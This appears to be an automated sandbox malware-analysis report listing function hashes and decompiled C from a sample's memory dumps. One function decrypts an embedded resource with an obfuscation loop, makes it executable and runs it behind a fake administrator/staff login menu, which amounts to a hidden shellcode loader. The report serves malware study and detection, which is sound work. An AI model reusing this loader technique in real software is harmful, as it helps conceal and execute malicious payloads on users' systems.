Opcode ID: 84459e09e457372d384b0e97a40101255d1a3f83a12d42aac9a42848fd5e76ee
Instruction ID: b9b870db497831e86e873e0adf446753b588dd0c99a7f41b7ee10b69fe48f0a2
Opcode Fuzzy Hash: 84459e09e457372d384b0e97a40101255d1a3f83a12d42aac9a42848fd5e76ee
Instruction Fuzzy Hash: DC214830A081C149D775851D958475DBAC69B92208F2CC1DAC1994F64ED77BD88E8773

Uniqueness

Uniqueness Score: -1.00%

Function 010119E0, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c16dda9a00b1b4514aadb71408b691057ef4115ecebd68db77e83d45641f8686
Instruction ID: f6bf71b363888699f07d1d87add88a637f6ef1d4153ee2496e089f48ca60a363
Opcode Fuzzy Hash: c16dda9a00b1b4514aadb71408b691057ef4115ecebd68db77e83d45641f8686
Instruction Fuzzy Hash: 1711B2363016118FD7195739D85453E7FE6EF8565170801B9E646CB355CF38DC428790

Uniqueness

Uniqueness Score: -1.00%

Function 0101EF90, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cca03a50b0aeb9df04a3717523b4a9abdbf09711e29a9ee92496e3b2ab32aab1
Instruction ID: 036bd705e9e453093afec601d7f720713809b61d413a91f90bf687b1bfc1d9c3
Opcode Fuzzy Hash: cca03a50b0aeb9df04a3717523b4a9abdbf09711e29a9ee92496e3b2ab32aab1
Instruction Fuzzy Hash: 2511E330F043458FC711A7B9981466E7BF5EF85360F1185B6E819DB395EB388C0687A2

Uniqueness

Uniqueness Score: -1.00%

Function 0101544F, Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ae3dccc2709ab89b31f34c37a8e58bf2a2776a68325fb7b7861facd2c0ae3b2
Instruction ID: e996447dbb666b19545cc1060fa24c643736927739e7e9db3847e533cd70b53c
Opcode Fuzzy Hash: 9ae3dccc2709ab89b31f34c37a8e58bf2a2776a68325fb7b7861facd2c0ae3b2
Instruction Fuzzy Hash: 5B112E76E011199FCB00DF99D8456EEBBF5EB88215F10442AE915E7344DB788A15CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010114F0, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65d36f389070559012ac71e4d91d2b9ac1537f09570c15bb5013a4e4973466e0
Instruction ID: b7c318f2f3d87aaf0dd9f89a89ae96d03aa86362b7f83fa3b81103f34e2de37a
Opcode Fuzzy Hash: 65d36f389070559012ac71e4d91d2b9ac1537f09570c15bb5013a4e4973466e0
Instruction Fuzzy Hash: 78117C31600219EFCB599F69E444AAE7BE6EF88310F04406AFE0687205DB78CDA1CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0101A770, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88cdce2ebbb18ece472e31df4c7a600e0e1867c5539fc023b4dfbcdeda3168cc
Instruction ID: 920d333a1c8678b927d327ff14af265394d65f4b86cae3ae85b968b5258a1f64
Opcode Fuzzy Hash: 88cdce2ebbb18ece472e31df4c7a600e0e1867c5539fc023b4dfbcdeda3168cc
Instruction Fuzzy Hash: CA113A71E01209DFCB44DFA8D6849DEBBF2FF88324F248429D509A7305E738A985CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01015458, Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b20e5904af58d4688791c4a76986f2e9c563c1cd5f34b1e07e20e7d853e6e52a
Instruction ID: 88e5e9898971d0c9d1220403e8b1823d84ced3740dadcd3f77d64005d6395be4
Opcode Fuzzy Hash: b20e5904af58d4688791c4a76986f2e9c563c1cd5f34b1e07e20e7d853e6e52a
Instruction Fuzzy Hash: C7113C71E0021A9FCB00DFA9D8445AFBBF9FB88211F10442AE915E7344DB749A15CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 01011632, Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b03eea80d100bcdbb5f58f739dbaf24cce85946db3e4464a902fb68b4232027
Instruction ID: 0231b8c1ca4cd8ffe725164302f386c30470a789f6395d7803ae02eebb6dbbf0
Opcode Fuzzy Hash: 9b03eea80d100bcdbb5f58f739dbaf24cce85946db3e4464a902fb68b4232027
Instruction Fuzzy Hash: E201D676B001197BCB099E68A810AEF3FEBEFCC690F18801AF605D7284DE758C1197A0

Uniqueness

Uniqueness Score: -1.00%

Function 0101A699, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5857df295a85ff8f43a089338c190d9dde18dcaabd29e8be79185d84f6477af7
Instruction ID: c1cff346f9d93e818fa80e3d745e24511b984e91079753a0f5813ca4a44ba73e
Opcode Fuzzy Hash: 5857df295a85ff8f43a089338c190d9dde18dcaabd29e8be79185d84f6477af7
Instruction Fuzzy Hash: 91F0A7B5E092185F8750DB7C6C484FF7FF8EA88220B04017AE55AD3280FA344A00CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 01011D72, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5426ca601c1c0105c9a8a5995827b54cea75347736d5ec08d85931d62eda73b
Instruction ID: 5f8be5843f1a182f2a3fb4c282453a10cab1cd51dfb205bb605aef5ac320e698
Opcode Fuzzy Hash: a5426ca601c1c0105c9a8a5995827b54cea75347736d5ec08d85931d62eda73b
Instruction Fuzzy Hash: DEE065312141448BD289EBB4FD50896777ADFC12483458CA6E0048B7A5EB7ACD16C294

Uniqueness

Uniqueness Score: -1.00%

Function 0101D1F9, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a9e4901bc5d19eaba33227e2fc50008125413cab09314c4dcf9e0c28c3a5689
Instruction ID: 5934c61305ec4efb3841a0ff8e8503c49c6ebdf93c9cfd18ffb64b5e8aeb1692
Opcode Fuzzy Hash: 6a9e4901bc5d19eaba33227e2fc50008125413cab09314c4dcf9e0c28c3a5689
Instruction Fuzzy Hash: 0DE0C939B001198F8F54EBF8E4884DDB7F2FB8C215B108065DA16E3398DF399D068B51

Uniqueness

Uniqueness Score: -1.00%

Function 0101EF1F, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9908a1acbf3278dca37b189b4426a6341a7bb4f196e3c288f89f8a4944d7c207
Instruction ID: 7bc9d26dc7de16d9c8de2701decd3609639100b7486fb9c48a7d9c2e07acdfb2
Opcode Fuzzy Hash: 9908a1acbf3278dca37b189b4426a6341a7bb4f196e3c288f89f8a4944d7c207
Instruction Fuzzy Hash: D6E0ED36B001298B8F54EBF8D4454DDB3F1FB9C611B408065D946E7398DF3C9C028B51

Uniqueness

Uniqueness Score: -1.00%

Function 0101A6A8, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5aebbf6159d1732bd597528e799493302db49148d0a5e1e0d7f34010ee523d20
Instruction ID: b1f19b694a3c84a74e22f24d6a9c089d23a030d5f4ca1381f6d1f85bcf7878fc
Opcode Fuzzy Hash: 5aebbf6159d1732bd597528e799493302db49148d0a5e1e0d7f34010ee523d20
Instruction Fuzzy Hash: A1E01275E041199F8750DBBD98085AE7AF9EA88211B054076E519D3344EA744A058BD1

Uniqueness

Uniqueness Score: -1.00%

Function 01015710, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8ad89e972212425efba3ecbc86bd7fd441fbe2d01b480e64627e90f8e4735f6
Instruction ID: 2c13d27fa55ee8c64e1ae4a6a4fc9c39b57ec892500e5684e544ea4157729eed
Opcode Fuzzy Hash: e8ad89e972212425efba3ecbc86bd7fd441fbe2d01b480e64627e90f8e4735f6
Instruction Fuzzy Hash: 21D0A93FF08024876A108A88A8000EDB3A7EBC60787108092C51A2B204CB3A6E02C692

Uniqueness

Uniqueness Score: -1.00%

Function 01011D80, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae4134e01b2740f7edf70946b1c7bae89b3cde1c99349383d6bd2d88a3634153
Instruction ID: a8fe76a096bf2df9140ecd1a41568559cbd9252355f9c864669ab40ebb8e4c88
Opcode Fuzzy Hash: ae4134e01b2740f7edf70946b1c7bae89b3cde1c99349383d6bd2d88a3634153
Instruction Fuzzy Hash: AAC01231070209C79184BFB0F891499B32FDBD01083408D30D004097B4AF7D9D5A56C5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00EC1040, Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 187
libraryCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00EC1040(void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				signed int _v5;
				signed int _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v48;
				char _v1048;
				char _v7712;
				void* __ebp;
				void* _t134;
				void* _t135;
				void* _t176;
				void* _t177;
				void* _t178;
				void* _t179;
				void* _t180;
				void* _t184;

				_t184 = __fp0;
				_t177 = __esi;
				_t176 = __edi;
				_t135 = __ecx;
				E00EC8770(0x1e1c);
				_v16 = GetModuleHandleW(L"Kernel32.dll");
				E00EC6B80(_t135);
				_v44 = E00EC6A70(_v16, 0xb616c5d9);
				_v40 = E00EC6A70(_v16, 0xe0baa99);
				_v32 = E00EC6A70(LoadLibraryW(L"User32.dll"), 0x23fdef72);
				_v24 = E00EC6A70(LoadLibraryW(L"User32.dll"), 0x695c9378);
				_v36 = E00EC6A70(_v16, 0x9347c911);
				_v28 = _v36(0, L"IEUCIZEO", 0xa);
				_v20 = _v40(0, _v28);
				E00EC7AE0( &_v7712, _v20, 0x1a05);
				_t180 = _t179 + 0xc;
				_v12 = 0;
				while(_v12 < 0x1a05) {
					_v5 =  *((intOrPtr*)(_t178 + _v12 - 0x1e1c));
					_v5 =  ~(_v5 & 0x000000ff);
					_v5 =  !(_v5 & 0x000000ff);
					_v5 = _v5 & 0x000000ff ^ _v12;
					_v5 = (_v5 & 0x000000ff) + _v12;
					_v5 =  !(_v5 & 0x000000ff);
					_v5 =  ~(_v5 & 0x000000ff);
					_v5 =  !(_v5 & 0x000000ff);
					_v5 = (_v5 & 0x000000ff) + _v12;
					_v5 = _v5 & 0x000000ff ^ 0x00000037;
					_v5 = (_v5 & 0x000000ff) - _v12;
					_v5 =  !(_v5 & 0x000000ff);
					_v5 = (_v5 & 0x000000ff) + _v12;
					_v5 = _v5 & 0x000000ff ^ 0x0000004d;
					_v5 =  ~(_v5 & 0x000000ff);
					_v5 = (_v5 & 0x000000ff) - 0x8d;
					_v5 = _v5 & 0x000000ff ^ 0x00000045;
					_v5 =  !(_v5 & 0x000000ff);
					_v5 = _v5 & 0x000000ff ^ 0x00000033;
					_v5 = (_v5 & 0x000000ff) - 0xa9;
					_v5 = _v5 & 0x000000ff ^ _v12;
					 *((char*)(_t178 + _v12 - 0x1e1c)) = _v5;
					_v12 = _v12 + 1;
				}
				_v44( &_v7712, 0x1a05, 0x40,  &_v48);
				_v32(_v24(0, 0,  &_v7712,  &_v1048, 0, 0, 0, 0, 0));
				E00EC21E0( &_v7712, _t176, _t177, __eflags);
				while(1) {
					E00EC1380(_t176, _t177, __eflags, 8, 9, 0x46, 0xd);
					E00EC12B0(0xa, 0xb);
					_push("Press A to Log in as ADMINISTRATOR or S to log in as STAFF\n\n\n\t\t\t\t\t");
					E00EC715C(_t134, _t176, _t177, __eflags);
					_t180 = _t180 + 4;
					__eflags = (_v5 & 0x000000ff) - 0x41;
					if((_v5 & 0x000000ff) == 0x41) {
						break;
					}
					__eflags = (_v5 & 0x000000ff) - 0x61;
					if((_v5 & 0x000000ff) != 0x61) {
						__eflags = (_v5 & 0x000000ff) - 0x53;
						if((_v5 & 0x000000ff) == 0x53) {
							L10:
							E00EC3610(_t134, _t176, _t177, _t184);
						} else {
							__eflags = (_v5 & 0x000000ff) - 0x73;
							if((_v5 & 0x000000ff) != 0x73) {
								__eflags = (_v5 & 0x000000ff) - 0x1b;
								if((_v5 & 0x000000ff) == 0x1b) {
									E00EC77B1(0);
								}
								__eflags = 1;
								if(1 != 0) {
									continue;
								}
							} else {
								goto L10;
							}
						}
					} else {
						break;
					}
					L14:
					__eflags = 0;
					return 0;
				}
				E00EC22F0(_t176, _t177, _t184);
				goto L14;
			}

APIs

GetModuleHandleW.KERNEL32(Kernel32.dll,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC1052

Part of subcall function 00EC6B80: GetProcessHeap.KERNEL32(00000001,17D78400,00000000,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6B8C
Part of subcall function 00EC6B80: HeapAlloc.KERNEL32(00000000,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6B93
Part of subcall function 00EC6B80: GetProcessHeap.KERNEL32(00000001,00000000,00000000,17D78400,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6BCD
Part of subcall function 00EC6B80: HeapAlloc.KERNEL32(00000000,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6BD4

LoadLibraryW.KERNEL32(User32.dll,23FDEF72,?,0E0BAA99,?,B616C5D9,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC108C
LoadLibraryW.KERNEL32(User32.dll,695C9378,00000000,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC10A5
_memmove.LIBCMT ref: 00EC10F0
_wprintf.LIBCMT ref: 00EC1253

Strings

User32.dll, xrefs: 00EC10A0
Kernel32.dll, xrefs: 00EC104D
User32.dll, xrefs: 00EC1087
Press A to Log in as ADMINISTRATOR or S to log in as STAFF, xrefs: 00EC124E
IEUCIZEO, xrefs: 00EC10C7

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocLibraryLoadProcess$HandleModule_memmove_wprintf
String ID: IEUCIZEO$Kernel32.dll$Press A to Log in as ADMINISTRATOR or S to log in as STAFF$User32.dll$User32.dll
API String ID: 2215760113-1224953502
Opcode ID: e2a75a9d00c4f64a439700d9f99f7ef4e671cb7764982d6d6bb52031f3991d65
Instruction ID: a95e6c06cf1c20933ee41972926312dc8065c1d92a7f9ec3675b0523b6eb8c7b
Opcode Fuzzy Hash: e2a75a9d00c4f64a439700d9f99f7ef4e671cb7764982d6d6bb52031f3991d65
Instruction Fuzzy Hash: 4B716E74D4C3D8BADB01DBF58951BFDBFB09F1A301F0880CAE591B6282D676474A9B21

Uniqueness

Uniqueness Score: -1.00%

Function 00404A29, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00404A29(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v28;
				signed int _v32;
				WCHAR* _v36;
				signed int _v48;
				intOrPtr _v556;
				intOrPtr _v558;
				struct _WIN32_FIND_DATAW _v604;
				intOrPtr* _v608;
				signed int _v612;
				signed int _v616;
				intOrPtr _v644;
				intOrPtr _v648;
				void* __edi;
				signed int _t40;
				signed int _t45;
				signed int _t48;
				signed int _t50;
				signed int _t51;
				signed char _t53;
				signed int _t62;
				void* _t64;
				union _FINDEX_INFO_LEVELS _t66;
				union _FINDEX_INFO_LEVELS _t67;
				signed int _t70;
				intOrPtr* _t71;
				signed int _t74;
				void* _t80;
				void* _t82;
				signed int _t83;
				void* _t87;
				WCHAR* _t88;
				intOrPtr* _t92;
				intOrPtr _t95;
				void* _t97;
				signed int _t98;
				intOrPtr* _t102;
				signed int _t105;
				void* _t108;
				intOrPtr _t109;
				void* _t110;
				void* _t112;
				void* _t113;
				signed int _t115;
				void* _t116;
				union _FINDEX_INFO_LEVELS _t117;
				void* _t121;
				void* _t122;
				void* _t123;
				signed int _t124;
				void* _t125;
				signed int _t130;
				void* _t131;
				signed int _t132;
				void* _t133;
				void* _t134;

				_push(__ecx);
				_t92 = _a4;
				_t2 = _t92 + 2; // 0x2
				_t108 = _t2;
				do {
					_t40 =  *_t92;
					_t92 = _t92 + 2;
				} while (_t40 != 0);
				_t115 = _a12;
				_t95 = (_t92 - _t108 >> 1) + 1;
				_v8 = _t95;
				if(_t95 <= (_t40 | 0xffffffff) - _t115) {
					_t5 = _t115 + 1; // 0x1
					_t87 = _t5 + _t95;
					_t122 = E00403ECE(_t95, _t87, 2);
					_t97 = _t121;
					__eflags = _t115;
					if(_t115 == 0) {
						L6:
						_push(_v8);
						_t87 = _t87 - _t115;
						_t45 = E004047AD(_t97, _t122 + _t115 * 2, _t87, _a4);
						_t132 = _t131 + 0x10;
						__eflags = _t45;
						if(__eflags != 0) {
							goto L9;
						} else {
							_t80 = E00404CA2(_a16, __eflags, _t122);
							E00403E03(0);
							_t82 = _t80;
							goto L8;
						}
					} else {
						_push(_t115);
						_t83 = E004047AD(_t97, _t122, _t87, _a8);
						_t132 = _t131 + 0x10;
						__eflags = _t83;
						if(_t83 != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E00404649();
							asm("int3");
							_t130 = _t132;
							_t133 = _t132 - 0x260;
							_t48 =  *0x412014; // 0x71686280
							_v48 = _t48 ^ _t130;
							_t109 = _v28;
							_t98 = _v32;
							_push(_t87);
							_t88 = _v36;
							_push(_t122);
							_push(_t115);
							_t123 = 0x5c;
							_v644 = _t109;
							_v648 = 0x2f;
							_t116 = 0x3a;
							while(1) {
								__eflags = _t98 - _t88;
								if(_t98 == _t88) {
									break;
								}
								_t50 =  *_t98 & 0x0000ffff;
								__eflags = _t50 - _v612;
								if(_t50 != _v612) {
									__eflags = _t50 - _t123;
									if(_t50 != _t123) {
										__eflags = _t50 - _t116;
										if(_t50 != _t116) {
											_t98 = _t98 - 2;
											__eflags = _t98;
											continue;
										}
									}
								}
								break;
							}
							_t124 =  *_t98 & 0x0000ffff;
							__eflags = _t124 - _t116;
							if(_t124 != _t116) {
								L19:
								_t51 = _t124;
								_t117 = 0;
								_t110 = 0x2f;
								__eflags = _t51 - _t110;
								if(_t51 == _t110) {
									L23:
									_t53 = 1;
									__eflags = 1;
								} else {
									_t112 = 0x5c;
									__eflags = _t51 - _t112;
									if(_t51 == _t112) {
										goto L23;
									} else {
										_t113 = 0x3a;
										__eflags = _t51 - _t113;
										if(_t51 == _t113) {
											goto L23;
										} else {
											_t53 = 0;
										}
									}
								}
								_t101 = (_t98 - _t88 >> 1) + 1;
								asm("sbb eax, eax");
								_v612 =  ~(_t53 & 0x000000ff) & (_t98 - _t88 >> 0x00000001) + 0x00000001;
								E00402460(_t117,  &_v604, _t117, 0x250);
								_t134 = _t133 + 0xc;
								_t125 = FindFirstFileExW(_t88, _t117,  &_v604, _t117, _t117, _t117);
								__eflags = _t125 - 0xffffffff;
								if(_t125 != 0xffffffff) {
									_t102 = _v608;
									_t62 =  *((intOrPtr*)(_t102 + 4)) -  *_t102;
									__eflags = _t62;
									_v616 = _t62 >> 2;
									_t64 = 0x2e;
									do {
										__eflags = _v604.cFileName - _t64;
										if(_v604.cFileName != _t64) {
											L36:
											_push(_t102);
											_t66 = E00404A29(_t102,  &(_v604.cFileName), _t88, _v612);
											_t134 = _t134 + 0x10;
											__eflags = _t66;
											if(_t66 != 0) {
												goto L26;
											} else {
												goto L37;
											}
										} else {
											__eflags = _v558 - _t117;
											if(_v558 == _t117) {
												goto L37;
											} else {
												__eflags = _v558 - _t64;
												if(_v558 != _t64) {
													goto L36;
												} else {
													__eflags = _v556 - _t117;
													if(_v556 == _t117) {
														goto L37;
													} else {
														goto L36;
													}
												}
											}
										}
										goto L40;
										L37:
										_t70 = FindNextFileW(_t125,  &_v604);
										_t102 = _v608;
										__eflags = _t70;
										_t64 = 0x2e;
									} while (_t70 != 0);
									_t71 = _t102;
									_t105 = _v616;
									_t111 =  *_t71;
									_t74 =  *((intOrPtr*)(_t71 + 4)) -  *_t71 >> 2;
									__eflags = _t105 - _t74;
									if(_t105 != _t74) {
										E004074E0(_t111 + _t105 * 4, _t74 - _t105, 4, E00404844);
									}
								} else {
									_push(_v608);
									_t66 = E00404A29(_t101, _t88, _t117, _t117);
									L26:
									_t117 = _t66;
								}
								__eflags = _t125 - 0xffffffff;
								if(_t125 != 0xffffffff) {
									FindClose(_t125);
								}
								_t67 = _t117;
							} else {
								__eflags = _t98 -  &(_t88[1]);
								if(_t98 ==  &(_t88[1])) {
									goto L19;
								} else {
									_push(_t109);
									_t67 = E00404A29(_t98, _t88, 0, 0);
								}
							}
							__eflags = _v12 ^ _t130;
							E004018CC();
							return _t67;
						} else {
							goto L6;
						}
					}
				} else {
					_t82 = 0xc;
					L8:
					return _t82;
				}
				L40:
			}

0x00404a2e
0x00404a2f
0x00404a36
0x00404a36
0x00404a39
0x00404a39
0x00404a3c
0x00404a3f
0x00404a44
0x00404a4e
0x00404a51
0x00404a56
0x00404a5e
0x00404a61
0x00404a6b
0x00404a6e
0x00404a6f
0x00404a71
0x00404a85
0x00404a85
0x00404a88
0x00404a92
0x00404a97
0x00404a9a
0x00404a9c
0x00000000
0x00404a9e
0x00404aa2
0x00404aab
0x00404ab1
0x00000000
0x00404ab3
0x00404a73
0x00404a73
0x00404a79
0x00404a7e
0x00404a81
0x00404a83
0x00404aba
0x00404abc
0x00404abd
0x00404abe
0x00404abf
0x00404ac0
0x00404ac1
0x00404ac6
0x00404aca
0x00404acc
0x00404ad2
0x00404ad9
0x00404adc
0x00404adf
0x00404ae2
0x00404ae3
0x00404ae6
0x00404ae7
0x00404aea
0x00404aed
0x00404af3
0x00404afd
0x00404b19
0x00404b19
0x00404b1b
0x00000000
0x00000000
0x00404b00
0x00404b03
0x00404b0a
0x00404b0c
0x00404b0f
0x00404b11
0x00404b14
0x00404b16
0x00404b16
0x00000000
0x00404b16
0x00404b14
0x00404b0f
0x00000000
0x00404b0a
0x00404b1d
0x00404b20
0x00404b23
0x00404b3f
0x00404b41
0x00404b43
0x00404b45
0x00404b46
0x00404b49
0x00404b5f
0x00404b61
0x00404b61
0x00404b4b
0x00404b4d
0x00404b4e
0x00404b51
0x00000000
0x00404b53
0x00404b55
0x00404b56
0x00404b59
0x00000000
0x00404b5b
0x00404b5b
0x00404b5b
0x00404b59
0x00404b51
0x00404b69
0x00404b71
0x00404b75
0x00404b83
0x00404b88
0x00404b9d
0x00404b9f
0x00404ba2
0x00404bd7
0x00404be2
0x00404be2
0x00404be7
0x00404bed
0x00404bee
0x00404bee
0x00404bf5
0x00404c12
0x00404c12
0x00404c21
0x00404c26
0x00404c29
0x00404c2b
0x00000000
0x00000000
0x00000000
0x00000000
0x00404bf7
0x00404bf7
0x00404bfe
0x00000000
0x00404c00
0x00404c00
0x00404c07
0x00000000
0x00404c09
0x00404c09
0x00404c10
0x00000000
0x00000000
0x00000000
0x00000000
0x00404c10
0x00404c07
0x00404bfe
0x00000000
0x00404c2d
0x00404c35
0x00404c3b
0x00404c41
0x00404c45
0x00404c45
0x00404c48
0x00404c4a
0x00404c50
0x00404c57
0x00404c5a
0x00404c5c
0x00404c70
0x00404c75
0x00404ba4
0x00404baa
0x00404bae
0x00404bb6
0x00404bb6
0x00404bb6
0x00404bb8
0x00404bbb
0x00404bbe
0x00404bbe
0x00404bc4
0x00404b25
0x00404b28
0x00404b2a
0x00000000
0x00404b2c
0x00404b2c
0x00404b32
0x00404b37
0x00404b2a
0x00404bcb
0x00404bce
0x00404bd6
0x00000000
0x00000000
0x00000000
0x00404a83
0x00404a58
0x00404a5a
0x00404ab4
0x00404ab9
0x00404ab9
0x00000000

Strings

/, xrefs: 00404AF3

Memory Dump Source

Source File: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 238c64b91dc00fc8aa7441f00327e0ccbbd6587d23c937c2b2e4721a264c2311
Instruction ID: ba1068fc9c078a1ad814dd17ce5e53bd1395a2ce151ae24c2f61dc23761eb13f
Opcode Fuzzy Hash: 238c64b91dc00fc8aa7441f00327e0ccbbd6587d23c937c2b2e4721a264c2311
Instruction Fuzzy Hash: 7C411AB16002196ACB249FB9DC49EBB77B8EBC4714F50427AFA05E72C0E674DD41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00EC3610, Relevance: 91.3, APIs: 27, Strings: 25, Instructions: 313
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00EC3610(void* __ebx, void* __edi, void* __esi, void* __fp0) {
				char _v5;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v36;
				char _v39;
				char _v43;
				char _v47;
				char _v51;
				char _v55;
				char _v59;
				char _v63;
				char _v67;
				char _v68;
				char _v80;
				char _v92;
				char _v124;
				char _v156;
				void* __ebp;
				intOrPtr _t58;
				intOrPtr _t60;
				void* _t61;
				void* _t98;
				void* _t99;
				void* _t108;
				intOrPtr _t111;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t130;
				void* _t131;
				void* _t139;
				void* _t148;

				_t148 = __fp0;
				_t122 = __esi;
				_t121 = __edi;
				_t108 = __ebx;
				_v68 = 0;
				_v67 = 0;
				_v63 = 0;
				_v59 = 0;
				_v55 = 0;
				_v51 = 0;
				_v47 = 0;
				_v43 = 0;
				_v39 = 0;
				_v12 = 0;
				_v20 = 0;
				_v20 = 0;
				do {
					E00EC1380(_t121, _t122, 0, 0xa, 8, 0x46, 0xf);
					E00EC12B0(7, 5);
					_push("Only THREE attempts shall be allowed to enter username and password.");
					E00EC715C(_t108, _t121, _t122, 0);
					E00EC12B0(0x17, 0xa);
					_push("Enter User name : ");
					E00EC715C(_t108, _t121, _t122, 0);
					E00EC738B("%s", 0xee2ee4);
					E00EC12B0(0x17, 0xc);
					_push("Password        : ");
					E00EC715C(_t108, _t121, _t122, 0);
					_t127 = _t123 + 0x14;
					E00EC12F0(_t121, _t122,  &_v68);
					_v20 = _v20 + 1;
					_t143 = _v20 - 3;
					if(_v20 == 3) {
						E00EC20E0( &_v68, _t121, _t122, _t143, _t148);
						E00EC12B0(0x19, 0xa);
						_push(0xedfb98);
						E00EC715C(_t108, _t121, _t122, _t143);
						E00EC12B0(0x16, 0xc);
						_push("Press ENTER to exit the program...");
						E00EC715C(_t108, _t121, _t122, _t143);
						_t127 = _t127 + 8;
						E00EC77B1(0);
					}
					_v12 = 0;
					_t58 = E00EC6EF1("USER.DAT", "r");
					_t128 = _t127 + 8;
					 *0xee2f28 = _t58;
					while(1) {
						_push( &_v156);
						_push( &_v124);
						_t60 =  *0xee2f28; // 0x0
						_t61 = E00EC7021(_t60, "%s %s %s\n",  &_v92);
						_t129 = _t128 + 0x14;
						if(_t61 == 0xffffffff) {
							break;
						}
						_t98 = E00EC8230(0xee2ee4,  &_v124);
						_t128 = _t129 + 8;
						if(_t98 == 0) {
							_t99 = E00EC8230(0xee2f02,  &_v156);
							_t128 = _t128 + 8;
